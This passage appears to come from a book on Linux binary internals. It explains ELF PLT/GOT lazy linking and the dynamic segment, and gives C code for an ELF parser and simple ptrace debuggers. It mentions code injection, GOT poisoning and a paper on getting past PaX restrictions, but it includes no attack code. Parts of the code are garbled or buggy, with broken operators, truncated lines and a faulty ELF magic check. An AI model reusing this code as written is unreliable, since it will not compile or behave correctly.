NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
NEW_AUX_ENT(AT_BASE, interp_load_addr);
NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

As you can see, the ELF entry point and the address of the program headers, among 
other values, are placed onto the stack with the NEW_AUX_ENT() macro in the kernel.

Once a program is loaded into memory and the auxiliary vector has been filled in, 
control is passed to the dynamic linker. The dynamic linker resolves symbols and 
relocations for shared libraries that are linked into the process address space. By 
default, an executable is dynamically linked with the GNU C library libc.so. The 
ldd command will show you the shared library dependencies of a given executable.

Learning about the PLT/GOT
The PLT (procedure linkage table) and GOT (Global offset table) can be found in 
executable files and shared libraries. We will be focusing specifically on the PLT/
GOT of an executable program. When a program calls a shared library function such 
as strcpy() or printf(), which are not resolved until runtime, there must exist a 
mechanism to dynamically link the shared libraries and resolve the addresses to the 
shared functions. When a dynamically linked program is compiled, it handles shared 
library function calls in a specific way, far differently from a simple call instruction 
to a local function. 
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Let's take a look at a call to the libc.so function fgets() in a 32-bit compiled ELF 
executable. We will use a 32-bit executable in our examples because the relationship 
with the GOT is easier to visualize since IP relative addressing is not used, as it is in 
64-bit executables:

objdump -d test

 ...

 8048481:       e8 da fe ff ff          call   8048360<fgets@plt>

 ...

The address 0x8048360 corresponds to the PLT entry for fgets(). Let's take a look 
at that address in our executable:

objdump -d test (grep for 8048360)

...

08048360<fgets@plt>:                    /* A jmp into the GOT */

 8048360:       ff 25 00 a0 04 08       jmp    *0x804a000

 8048366:       68 00 00 00 00          push   $0x0

 804836b:       e9 e0 ff ff ff          jmp    8048350 <_init+0x34>

...

So the call to fgets() leads to 8048360, which is the PLT jump table entry for 
fgets(). As we can see, there is an indirect jump to the address stored at 0x804a000 
in the preceding disassembled code output. This address is a GOT (Global offset 
table) entry that holds the address to the actual fgets() function in the libc  
shared library.

However, the first time a function is called, its address has not yet been resolved 
by the dynamic linker, when the default behavior lazy linking is being used. Lazy 
linking implies that the dynamic linker should not resolve every function at program 
loading time. Instead, it will resolve the functions as they are called, which is 
made possible through the .plt and .got.plt sections (which correspond to the 
Procedure linkage table, and the Global offset table, respectively). This behavior 
can be changed to what is called strict linking with the LD_BIND_NOW environment 
variable so that all dynamic linking happens right at program loading time. Lazy 
linking increases performance at load time, which is why it is the default behavior, 
but it also can be unpredictable since a linking error may not occur until after the 
program has been running for some time. I have actually only experienced this 
myself one time over the course of years. It is also worth noting that some security 
features, namely, read-only relocations cannot be applied unless strict linking is 
enabled because the .plt.got section (among others) is marked read-only; this can 
only occur after the dynamic linker has finished patching it, and thus strict linking 
must be used. 
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Let's take a look at the relocation entry for fgets():

$ readelf -r test

Offset   Info      Type           SymValue    SymName

...

0804a000  00000107 R_386_JUMP_SLOT   00000000   fgets

...

R_386_JUMP_SLOT is a relocation type for PLT/GOT entries. 
On x86_64, it is called R_X86_64_JUMP_SLOT.

Notice that the relocation offset is the address 0x804a000, the same address that the 
fgets() PLT jumps into. Assuming that fgets() is being called for the first time,  
the dynamic linker has to resolve the address of fgets() and place its value into  
the GOT entry for fgets().

Let's take a look at the GOT in our test program:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:

 8049ff4:       28 9f 04 08 00 00       sub    %bl,0x804(%edi)

 8049ffa:       00 00                   add    %al,(%eax)

 8049ffc:       00 00                   add    %al,(%eax)

 8049ffe:       00 00                   add    %al,(%eax)

 804a000:       66 83 04 08 76          addw   $0x76,(%eax,%ecx,1)

 804a005:       83 04 08 86             addl   $0xffffff86,(%eax,%ecx,1)

 804a009:       83 04 08 96             addl   $0xffffff96,(%eax,%ecx,1)

 804a00d:       83                      .byte 0x83

 804a00e:       04 08                   add    $0x8,%al

The address 0x08048366 is highlighted in the preceding and is found at 0x804a000 
in the GOT. Remember that little endian reverses the byte order, so it appears as 66 
83 04 08. This address is not the address to the fgets() function since it has not  
yet been resolved by the linker, but instead points back down into the PLT entry  
for fgets(). Let's look at the PLT entry for fgets() again:

08048360 <fgets@plt>:

 8048360:       ff 25 00 a0 04 08       jmp    *0x804a000

 8048366:       68 00 00 00 00          push   $0x0

 804836b:       e9 e0 ff ff ff          jmp    8048350 <_init+0x34>
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So, jmp *0x804a000 jumps to the contained address there within 0x8048366, which 
is the push $0x0 instruction. That push instruction has a purpose, which is to push 
the GOT entry for fgets() onto the stack. The GOT entry offset for fgets() is 0x0, 
which corresponds to the first GOT entry that is reserved for a shared library symbol 
value, which is actually the fourth GOT entry, GOT[3]. In other words, the shared 
library addresses don't get plugged in starting at GOT[0] and they begin at GOT[3] 
(the fourth entry) because the first three are reserved for other purposes.

Take note of the following GOT offsets:
• GOT[0] contains an address that points to the dynamic segment of 

the executable, which is used by the dynamic linker for extracting 
dynamic linking-related information

• GOT[1] contains the address of the link_map structure that is 
used by the dynamic linker to resolve symbols

• GOT[2] contains the address to the dynamic linkers _dl_
runtime_resolve() function that resolves the actual symbol 
address for the shared library function

The last instruction in the fgets() PLT stub is a jmp 8048350. This address points to 
the very first PLT entry in every executable, known as PLT-0.

PLT-0 from our executable contains the following code:

 8048350:       ff 35 f8 9f 04 08       pushl  0x8049ff8

 8048356:       ff 25 fc 9f 04 08       jmp    *0x8049ffc

 804835c:       00 00                   add    %al,(%eax)

The first pushl instruction pushes the address of the second GOT entry, GOT[1], onto 
the stack, which, as noted earlier, contains the address of the link_map structure.

The jmp *0x8049ffc performs an indirect jmp into the third GOT entry, GOT[2], 
which contains the address to the dynamic linkers _dl_runtime_resolve() 
function, therefore transferring control to the dynamic linker and resolving the 
address for fgets(). Once fgets() has been resolved, all future calls to the PLT 
entry forfgets() will result in a jump to the fgets() code itself, rather than 
pointing back into the PLT and going through the lazy linking process again.
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The following is a summary of what we have just covered:

1. Call fgets@PLT (to call the fgets function).
2. PLT code does an indirect jmp to the address in the GOT.
3. The GOT entry contains the address that points back into PLT at the push 

instruction.
4. The push $0x0 instruction pushes the offset of the fgets() GOT entry onto 

the stack.
5. The final fgets() PLT instruction is a jmp to the PLT-0 code.
6. The first instruction of PLT-0 pushes the address of GOT[1] onto the stack 

that contains an offset into the link_map struct for fgets().
7. The second instruction of PLT-0 is a jmp to the address in GOT[2] that points 

to the dynamic linker's _dl_runtime_resolve(), which then handles the 
R_386_JUMP_SLOT relocation by adding the symbol value (memory address) 
of fgets() to its corresponding GOT entry in the .got.plt section.

The next time fgets() is called, the PLT entry will jump directly to the function 
itself rather than having to perform the relocation procedure again.

The dynamic segment revisited
I earlier referenced the dynamic segment as a section named .dynamic. The dynamic 
segment has a section header referencing it, but it also has a program header 
referencing it because it must be found during runtime by the dynamic linker; since 
section headers don't get loaded into memory, there has to be an associated program 
header for it.

The dynamic segment contains an array of structs of type ElfN_Dyn:

typedef struct {
    Elf32_Sword    d_tag;
    union {
      Elf32_Word d_val;
      Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;

The d_tag field contains a tag that matches one of the numerous definitions that can 
be found in the ELF(5) man pages. I have listed some of the most important ones 
used by the dynamic linker.
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DT_NEEDED
This holds the string table offset to the name of a needed shared library.

DT_SYMTAB
This contains the address of the dynamic symbol table also known by its section 
name .dynsym.

DT_HASH
This holds the address of the symbol hash table, also known by its section name 
.hash (or sometimes named .gnu.hash).

DT_STRTAB
This holds the address of the symbol string table, also known by its section  
name .dynstr.

DT_PLTGOT
This holds the address of the global offset table.

The preceding dynamic tags demonstrate how the location of certain 
sections can be found through the dynamic segment that can aid in 
the forensics reconstruction task of rebuilding a section header table. 
If the section header table has been stripped, a clever individual can 
rebuild parts of it by getting information from the dynamic segment 
(that is, the .dynstr, .dynsym, and .hash, among others).
Other segments such as text and data can yield information that you 
need as well (such as for the .text and .data sections).

The d_val member of ElfN_Dyn holds an integer value that has various 
interpretations such as being the size of a relocation entry to give one instance.

The d_ptr member holds a virtual memory address that can point to various 
locations needed by the linker; a good example would be the address to the  
symbol table for the d_tag DT_SYMTAB.
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The dynamic linker utilizes the ElfN_Dyn d_tags to locate the different parts of the 
dynamic segment that contain a reference to a part of the executable through the  
d_tag such as DT_SYMTAB, which has a d_ptr to give the virtual address to the 
symbol table.

When the dynamic linker is mapped into memory, it first handles any of its own 
relocations if necessary; remember that the linker is a shared library itself. It then 
looks at the executable program's dynamic segment and searches for the DT_NEEDED 
tags that contain pointers to the strings or pathnames of the necessary shared 
libraries. When it maps a needed shared library into the memory, it accesses the 
library's dynamic segment (yes, they too have dynamic segments) and adds the 
library's symbol table to a chain of symbol tables that exists to hold the symbol  
tables for each mapped library.

The linker creates a struct link_map entry for each shared library and stores it in  
a linked list:

struct link_map
  {
    ElfW(Addr) l_addr; /* Base address shared object is loaded at.  */
    char *l_name;      /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;   /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

Once the linker has finished building its list of dependencies, it handles the 
relocations on each library, similar to the relocations we discussed earlier in this 
chapter, as well as fixing up the GOT of each shared library. Lazy linking still  
applies to the PLT/GOT of shared libraries as well, so GOT relocations (of type 
R_386_JMP_SLOT) won't happen until the point when a function has actually  
been called.

For more detailed information on ELF and dynamic linking, read the ELF 
specification online or take a look at some of the interesting glibc source code 
available. Hopefully, dynamic linking has become less of a mystery and more of  
an intrigue at this point. In Chapter 7, Process Memory Forensics we will be covering 
PLT/GOT poisoning techniques to redirect shared library function calls. A very fun 
technique is to subvert dynamic linking.
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Coding an ELF Parser
To help summarize some of what we have learned, I have included some simple 
code that will print the program headers and section names of a 32-bit ELF 
executable. Many more examples of ELF-related code (and much more interesting 
ones) will be shown throughout this book:

/* elfparse.c – gcc elfparse.c -o elfparse */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <elf.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
   int fd, i;
   uint8_t *mem;
   struct stat st;
   char *StringTable, *interp;
   
   Elf32_Ehdr *ehdr;
   Elf32_Phdr *phdr;
   Elf32_Shdr *shdr;

   if (argc < 2) {
      printf("Usage: %s <executable>\n", argv[0]);
      exit(0);
   }

   if ((fd = open(argv[1], O_RDONLY)) < 0) {
      perror("open");
      exit(-1);
   }
   
   if (fstat(fd, &st) < 0) {
      perror("fstat");
      exit(-1);
   }
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   /* Map the executable into memory */
   mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
   if (mem == MAP_FAILED) {
      perror("mmap");
      exit(-1);
   }
   
   /*
    * The initial ELF Header starts at offset 0
    * of our mapped memory.
    */
   ehdr = (Elf32_Ehdr *)mem;
   
   /*
    * The shdr table and phdr table offsets are
    * given by e_shoff and e_phoff members of the
    * Elf32_Ehdr.
    */
   phdr = (Elf32_Phdr *)&mem[ehdr->e_phoff];
   shdr = (Elf32_Shdr *)&mem[ehdr->e_shoff];
   
   /*
    * Check to see if the ELF magic (The first 4 bytes)
    * match up as 0x7f E L F
    */
   if (mem[0] != 0x7f && strcmp(&mem[1], "ELF")) {
      fprintf(stderr, "%s is not an ELF file\n", argv[1]);
      exit(-1);
   }
   
   /* We are only parsing executables with this code.
    * so ET_EXEC marks an executable.
    */
   if (ehdr->e_type != ET_EXEC) {
      fprintf(stderr, "%s is not an executable\n", argv[1]);
      exit(-1);
   }

   printf("Program Entry point: 0x%x\n", ehdr->e_entry);
   
   /*
    * We find the string table for the section header
    * names with e_shstrndx which gives the index of
    * which section holds the string table.
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    */
   StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];
   
   /*
    * Print each section header name and address.
    * Notice we get the index into the string table
    * that contains each section header name with
    * the shdr.sh_name member.
    */
   printf("Section header list:\n\n");
   for (i = 1; i < ehdr->e_shnum; i++)
      printf("%s: 0x%x\n", &StringTable[shdr[i].sh_name], shdr[i].
sh_addr);
   
   /*
    * Print out each segment name, and address.
    * Except for PT_INTERP we print the path to
    * the dynamic linker (Interpreter).
    */
   printf("\nProgram header list\n\n");
   for (i = 0; i < ehdr->e_phnum; i++) {   
      switch(phdr[i].p_type) {
         case PT_LOAD:
            /*
             * We know that text segment starts
             * at offset 0. And only one other
             * possible loadable segment exists
             * which is the data segment.
             */
            if (phdr[i].p_offset == 0)
               printf("Text segment: 0x%x\n", phdr[i].p_vaddr);
            else
               printf("Data segment: 0x%x\n", phdr[i].p_vaddr);
         break;
         case PT_INTERP:
            interp = strdup((char *)&mem[phdr[i].p_offset]);
            printf("Interpreter: %s\n", interp);
            break;
         case PT_NOTE:
            printf("Note segment: 0x%x\n", phdr[i].p_vaddr);
            break;
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         case PT_DYNAMIC:
            printf("Dynamic segment: 0x%x\n", phdr[i].p_vaddr);
            break;
         case PT_PHDR:
            printf("Phdr segment: 0x%x\n", phdr[i].p_vaddr);
            break;
      }
   }

   exit(0);
}

Downloading the example code
You can download the example code files from your account at 
http://www.packtpub.com for all the Packt Publishing books 
you have purchased. If you purchased this book elsewhere, you 
can visit http://www.packtpub.com/support and register to 
have the files e-mailed directly to you.

Summary
Now that we have explored ELF, I urge the reader to continue to explore the format. 
You will encounter a number of projects throughout this book that will hopefully 
inspire you to do so. It has taken years of passion and exploration to learn what I 
have. I am grateful to be able to share what I have learned and present it in a way 
that will help the reader learn this difficult material in a fun and creative way.

http://www.packtpub.com
http://www.packtpub.com/support
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Linux Process Tracing
In the last chapter, we covered the internals of the ELF format and explained its 
internal workings. In Linux and other Unix-flavored OSes that use ELF, the ptrace 
system call goes hand in glove with analyzing, debugging, reverse engineering, and 
modifying programs that use the ELF format. The ptrace system call is used to attach 
to a process and access the entire range of code, data, stack, heap, and registers.

Since an ELF program is completely mapped in a process address space, you can 
attach to the process and parse or modify the ELF image very similarly to how you 
would do this with the actual ELF file on disk. The primary difference is that we use 
ptrace to access the program instead of using the open/mmap/read/write calls that 
would be used for the ELF file.

With ptrace, we can have full control over a program's execution flow, which means 
that we can do some very interesting things, ranging from memory virus infection 
and virus analysis/detection to userland memory rootkits, advanced debugging 
tasks, hotpatching, and reverse engineering. Since we have entire chapters in this 
book dedicated to some of these tasks, we will not cover each of these in depth 
just yet. Instead, I will provide a primer for you to learn about some of the basic 
functionality of ptrace and how it is used by hackers.

The importance of ptrace
In Linux, the ptrace(2) system call is the userland means of accessing a process 
address space. This means that someone can attach to a process that they own 
and modify, analyze, reverse, and debug it. Well-known debugging and analysis 
applications such as gdb, strace, and ltrace are ptrace assisted applications. The 
ptrace command is very useful for both reverse engineers and malware authors.
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It gives a programmer the ability to attach to a process and modify the memory, 
which can include injecting code and modifying important data structures such as 
the Global Offset Table (GOT) for shared library redirection. In this section, we will 
cover the most commonly used features of ptrace, demonstrate memory infection 
from the attacker's side, and process analysis by writing a program to reconstruct a 
process image back into an executable. If you have never used ptrace, then you will 
see that you have been missing out on a lot of fun!

ptrace requests
The ptrace system call has a libc wrapper like any other system call, so you may 
include ptrace.h and simply call ptrace while passing it a request and a process 
ID. The following details are not a replacement for the main pages of ptrace(2), 
although some descriptions were borrowed from the main pages.

Here's the synopsis:

#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid,
void *addr, void *data);

ptrace request types
Here is a list of requests that are most commonly used when using ptrace to interact 
with a process image:

Request Description
PTRACE_ATTACH Attach to the process specified in pid, making it a tracee of 

the calling process. The tracee is sent a SIGSTOP signal, but 
will not necessarily have stopped by the completion of this 
call. Use waitpid(2) to wait for the tracee to stop.

PTRACE_TRACEME Indicates that this process is to be traced by its parent. A 
process probably shouldn't make this request if its parent 
isn't expecting to trace it.

PTRACE_PEEKTEXT 
PTRACE_PEEKDATA 
PTRACE_PEEKUSER

These requests allow the tracing process to read from a 
virtual memory address within the traced process image; 
for instance, we can read the entire text or data segment into 
a buffer for analysis.
Note that there is no difference in implementation between 
the PEEKTEXT, PEEKDATA, and PEEKUSER requests.
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Request Description
PTRACE_POKTEXT 
PTRACE_POKEDATA 
PTRACE_POKEUSER

These requests allow the tracing process to modify any 
location within the traced process image.

PTRACE_GETREGS This request allows the tracing process to get a copy of the 
traced process's registers. Each thread context has its own 
register set, of course.

PTRACE_SETREGS This request allows the tracing process to set new register 
values for the traced process, for example, modifying the 
value of the instruction pointer to point to the shellcode.

PTRACE_CONT This request tells the stopped traced process to resume 
execution.

PTRACE_DETACH This request resumes the traced process as well but also 
detaches.

PTRACE_SYSCALL This request resumes the traced process but arranges for it 
to stop at the entrance/exit of the next syscall. This allows 
us to inspect the arguments for the syscall and even modify 
them. This ptrace request is heavily used in the code for a 
program called strace, which is shipped with most Linux 
distributions.

PTRACE_SINGLESTEP This resumes the process but stops it after the next 
instruction. Single stepping allows a debugger to stop 
after every instruction that is executed. This allows a user 
to inspect the values of the registers and the state of the 
process after each instruction.

PTRACE_GETSIGINFO This retrieves information about the signal that caused the 
stop. It retrieves a copy of the siginfo_t structure, which 
we can analyze or modify (with PTRACE_SETSIGINFO) to 
send back to the tracee.

PTRACE_SETSIGINFO Sets the signal information. Copies a siginfo_t structure 
from the address data in the tracer to the tracee. This will 
affect only signals that would normally be delivered to the 
tracee and would be caught by the tracer. It may be difficult 
to tell these normal signals from synthetic signals generated 
by ptrace() itself (addr is ignored).

PTRACE_SETOPTIONS Sets the ptrace options from data (addr is ignored). Data 
is interpreted as a bitmask of options. These are specified by 
flags in the following section (check out the main pages of 
ptrace(2) for a listing).
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The term tracer refers to the process that is doing the tracing (the one that is invoking 
ptrace), and the term tracee or the traced means the program that is being traced by 
the tracer (with ptrace).

The default behavior overrides any mmap or mprotect permissions. 
This means that a user can write to the text segment with ptrace (even 
though it is read-only). This is not true if the kernel is pax or grsec and 
patched with mprotect restrictions, which enforce segment permissions 
so that they apply to ptrace as well; this is a security feature.
My paper on ELF runtime infection at http://vxheavens.com/lib/
vrn00.html discusses some methods to bypass these restrictions for 
code injection.

The process register state and flags
The user_regs_struct structure for x86_64 contains the general-purpose registers, 
segmentation registers, stack pointer, instruction pointer, CPU flags, and TLS 
registers:

<sys/user.h>
struct user_regs_struct
{
  __extension__ unsigned long long int r15;
  __extension__ unsigned long long int r14;
  __extension__ unsigned long long int r13;
  __extension__ unsigned long long int r12;
  __extension__ unsigned long long int rbp;
  __extension__ unsigned long long int rbx;
  __extension__ unsigned long long int r11;
  __extension__ unsigned long long int r10;
  __extension__ unsigned long long int r9;
  __extension__ unsigned long long int r8;
  __extension__ unsigned long long int rax;
  __extension__ unsigned long long int rcx;
  __extension__ unsigned long long int rdx;
  __extension__ unsigned long long int rsi;
  __extension__ unsigned long long int rdi;
  __extension__ unsigned long long int orig_rax;
  __extension__ unsigned long long int rip;
  __extension__ unsigned long long int cs;
  __extension__ unsigned long long int eflags;
  __extension__ unsigned long long int rsp;
  __extension__ unsigned long long int ss;

http://vxheavens.com/lib/vrn00.html
http://vxheavens.com/lib/vrn00.html
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  __extension__ unsigned long long int fs_base;
  __extension__ unsigned long long int gs_base;
  __extension__ unsigned long long int ds;
  __extension__ unsigned long long int es;
  __extension__ unsigned long long int fs;
  __extension__ unsigned long long int gs;
};

In the 32-bit Linux kernel, %gs was used as the thread-local-storage (TLS) pointer, 
although since x86_64, the %fs register has been used for this purpose. Using the 
registers from user_regs_struct and with read/write access to a process's memory 
using ptrace, we can have complete control over it. As an exercise, let's write a 
simple debugger that allows us to set a breakpoint at a certain function in a program. 
When the program runs, it will stop at the breakpoint and print the register values 
and the function arguments.

A simple ptrace-based debugger
Let's look at a code example that makes use of ptrace to create a debugger program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;
  char *symname;
  Elf64_Addr symaddr;
  struct user_regs_struct pt_reg;
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  char *exec;
} handle_t;

Elf64_Addr lookup_symbol(handle_t *, const char *);

int main(int argc, char **argv, char **envp)
{
  int fd;
  handle_t h;
  struct stat st;
  long trap, orig;
  int status, pid;
  char * args[2];
  if (argc < 3) {
    printf("Usage: %s <program> <function>\n", argv[0]);
    exit(0);
  }
  if ((h.exec = strdup(argv[1])) == NULL) {
    perror("strdup");
    exit(-1);
  }
  args[0] = h.exec;
  args[1] = NULL;
  if ((h.symname = strdup(argv[2])) == NULL) {
    perror("strdup");
    exit(-1);
  }
  if ((fd = open(argv[1], O_RDONLY)) < 0) {
    perror("open");
    exit(-1);
  }
  if (fstat(fd, &st) < 0) {
    perror("fstat");
    exit(-1);
  }
  h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (h.mem == MAP_FAILED) {
    perror("mmap");
    exit(-1);
  }
  h.ehdr = (Elf64_Ehdr *)h.mem;
  h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr->e_phoff);
  h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr->e_shoff);



Chapter 3

[ 59 ]

  if+ (h.mem[0] != 0x7f || strcmp((char *)&h.mem[1], "ELF")) {
    printf("%s is not an ELF file\n",h.exec);
    exit(-1);
  }
  if (h.ehdr->e_type != ET_EXEC) {
    printf("%s is not an ELF executable\n", h.exec);
    exit(-1);
  }
  if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 ||  
    h.ehdr->e_shnum == 0) {
    printf("Section header table not found\n");
    exit(-1);
  }
  if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
    printf("Unable to find symbol: %s not found in executable\n",  
      h.symname);
    exit(-1);
  }
  close(fd);
  if ((pid = fork()) < 0) {
    perror("fork");
    exit(-1);
  }
  if (pid == 0) {
    if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
      perror("PTRACE_TRACEME");
      exit(-1);
    }
    execve(h.exec, args, envp);
    exit(0);
  }
  wait(&status);
  printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr);
  if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
    perror("PTRACE_PEEKTEXT");
    exit(-1);
  }
  trap = (orig & ~0xff) | 0xcc;
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
  }
  trace:
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  if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(-1);
  }
  wait(&status);
  if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
    if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
      perror("PTRACE_GETREGS");
      exit(-1);
    }
    printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n",
    h.exec, pid, h.symaddr);
    printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n"
    "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n"
    "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n"
    "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n"
    "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx",
    h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,
    h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,
    h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10,
    h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13,
    h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);
    printf("\nPlease hit any key to continue: ");
    getchar();
    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
      perror("PTRACE_POKETEXT");
      exit(-1);
    }
    h.pt_reg.rip = h.pt_reg.rip - 1;
    if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
      perror("PTRACE_SETREGS");
      exit(-1);
    }
    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
      perror("PTRACE_SINGLESTEP");
      exit(-1);
    }
    wait(NULL);
    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
      perror("PTRACE_POKETEXT");
      exit(-1);
    }
    goto trace;
    }
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    if (WIFEXITED(status))
    printf("Completed tracing pid: %d\n", pid);
    exit(0);
  }

  Elf64_Addr lookup_symbol(handle_t *h, const char *symname)
  {
    int i, j;
    char *strtab;
    Elf64_Sym *symtab;
    for (i = 0; i < h->ehdr->e_shnum; i++) {
      if (h->shdr[i].sh_type == SHT_SYMTAB) {
        strtab = (char *)&h->mem[h->shdr[h->shdr[i].sh_link]. 
          sh_offset];
        symtab = (Elf64_Sym *)&h->mem[h->shdr[i].sh_offset];
        for (j = 0; j < h->shdr[i].sh_size/sizeof(Elf64_Sym); j++) {
          if(strcmp(&strtab[symtab->st_name], symname) == 0)
          return (symtab->st_value);
          symtab++;
        }
      }
    }
  return 0;
  }
}

Using the tracer program
To compile the preceding source code, use this:

gcc tracer.c –o tracer

Keep in mind that tracer.c locates the symbol table by finding and referencing the 
SHT_SYMTAB type section header, so it will not work on executables that have been 
stripped of the SHT_SYMTAB symbol table (although they may have SHT_DYNSYM). 
This actually makes sense, because usually we are debugging programs that are  
still in their development phase, so they usually do have a complete symbol table.

The other limitation is that it doesn't allow you to pass arguments to the program 
you are executing and tracing. So, it wouldn't do well in a real debugging situation, 
where you may need to pass switches or command-line options to your program  
that is being debugged.

As an example of the ./tracer program that we designed, let's try it on a very 
simple program that calls a function called print_string(char *) twice, and 
passes to it the Hello 1 string on the first round and Hello 2 on the second.



Linux Process Tracing

[ 62 ]

Here's an example of using the ./tracer code:

$ ./tracer ./test print_string

Beginning analysis of pid: 6297 at 40057d

Executable ./test (pid: 6297) has hit breakpoint 0x40057d

%rcx: 0

%rdx: 7fff4accbf18

%rbx: 0

%rax: 400597

%rdi: 400644

%rsi: 7fff4accbf08

%r8: 7fd4f09efe80

%r9: 7fd4f0a05560

%r10: 7fff4accbcb0

%r11: 7fd4f0650dd0

%r12 400490

%r13 7fff4accbf00

%r14: 0

%r15: 0

%rsp: 7fff4accbe18

Please hit any key to continue: c

Hello 1

Executable ./test (pid: 6297) has hit breakpoint 0x40057d

%rcx: ffffffffffffffff

%rdx: 7fd4f09f09e0

%rbx: 0

%rax: 9

%rdi: 40064d

%rsi: 7fd4f0c14000

%r8: ffffffff

%r9: 0

%r10: 22

%r11: 246

%r12 400490

%r13 7fff4accbf00
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%r14: 0

%r15: 0

%rsp: 7fff4accbe18

Hello 2

Please hit any key to continue: Completed tracing pid: 6297

As you can see, a breakpoint was set on print_string, and each time the function 
was called, our ./tracer program caught the trap, printed the register values, and 
then continued executing after we hit a character. The ./tracer program is a good 
example of how a debugger such as gdb works. Although it is much simpler,  
it demonstrates process tracing, breakpoints, and symbol lookup.

This program works great if you want to execute a program and trace it all at once. 
But what about tracing a process that is already running? In such a case, we would 
want to attach to the process image with PTRACE_ATTACH. This request sends a 
SIGSTOP to the process we are attaching to, so we use wait or waitpid to wait  
for the process to stop.

A simple ptrace debugger with process 
attach capabilities
Let's look at a code example:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;



Linux Process Tracing

[ 64 ]

  char *symname;
  Elf64_Addr symaddr;
  struct user_regs_struct pt_reg;
  char *exec;
} handle_t;

int global_pid;
Elf64_Addr lookup_symbol(handle_t *, const char *);
char * get_exe_name(int);
void sighandler(int);
#define EXE_MODE 0
#define PID_MODE 1

int main(int argc, char **argv, char **envp)
{
  int fd, c, mode = 0;
  handle_t h;
  struct stat st;
  long trap, orig;
  int status, pid;
  char * args[2];
  
    printf("Usage: %s [-ep <exe>/<pid>]
    [f <fname>]\n", argv[0]);

  memset(&h, 0, sizeof(handle_t));
  while ((c = getopt(argc, argv, "p:e:f:")) != -1)
  {
  switch(c) {
    case 'p':
    pid = atoi(optarg);
    h.exec = get_exe_name(pid);
    if (h.exec == NULL) {
      printf("Unable to retrieve executable path for pid: %d\n",
      pid);
      exit(-1);
    }
    mode = PID_MODE;
    break;
    case 'e':
    if ((h.exec = strdup(optarg)) == NULL) {
      perror("strdup");
      exit(-1);
    }
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    mode = EXE_MODE;
    break;
    case 'f':
    if ((h.symname = strdup(optarg)) == NULL) {
      perror("strdup");
      exit(-1);
    }
    break;
    default:
    printf("Unknown option\n");
    break;
  }
}
if (h.symname == NULL) {
  printf("Specifying a function name with -f
  option is required\n");
  exit(-1);
}
if (mode == EXE_MODE) {
  args[0] = h.exec;
  args[1] = NULL;
}
signal(SIGINT, sighandler);
if ((fd = open(h.exec, O_RDONLY)) < 0) {
  perror("open");
  exit(-1);
}
if (fstat(fd, &st) < 0) {
  perror("fstat");
  exit(-1);
}
h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (h.mem == MAP_FAILED) {
  perror("mmap");
  exit(-1);
}
h.ehdr = (Elf64_Ehdr *)h.mem;
h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr>
h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr>

if (h.mem[0] != 0x7f &&!strcmp((char *)&h.mem[1], "ELF")) {
  printf("%s is not an ELF file\n",h.exec);
  exit(-1);
}
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if (h.ehdr>e_type != ET_EXEC) {
  printf("%s is not an ELF executable\n", h.exec);
  exit(-1);
}
if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0  
  || h.ehdr->e_shnum == 0) {
